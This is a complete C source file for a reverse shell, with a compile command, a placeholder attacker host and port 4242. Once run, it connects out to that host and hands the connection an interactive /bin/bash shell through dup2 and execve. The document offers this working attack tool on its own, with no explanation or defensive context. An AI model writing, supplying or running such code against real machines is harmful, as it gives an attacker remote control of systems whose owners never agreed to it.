C Reverse shell

reverse-shell.c

// gcc /tmp/reverse-shell.c -o /tmp/test

#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <netdb.h>

#define HOST ("xxxxxxxxxxxxxxxxxxx")
#define PORT (4242)
#define SHELL ("/bin/bash")

#define STDIN (0)
#define STDOUT (1)
#define STDERR (2)

int main(void) {
  struct sockaddr_in revsockaddr;

  int sockt = socket(AF_INET, SOCK_STREAM, 0);

  struct hostent *hp = gethostbyname(HOST);
  if (!hp)
      return 1;

  revsockaddr.sin_family = AF_INET;
  revsockaddr.sin_port = htons(PORT);
  revsockaddr.sin_addr.s_addr = *(unsigned long *)hp->h_addr;

  int s = connect(sockt, (struct sockaddr *)&revsockaddr, sizeof(revsockaddr));
  if (s == -1) 
      return 1;
  

  dup2(sockt, STDIN);
  dup2(sockt, STDOUT);
  dup2(sockt, STDERR);

  char *const argv[] = {SHELL, NULL};

  execve(argv[0], argv, NULL);

  return 0;
}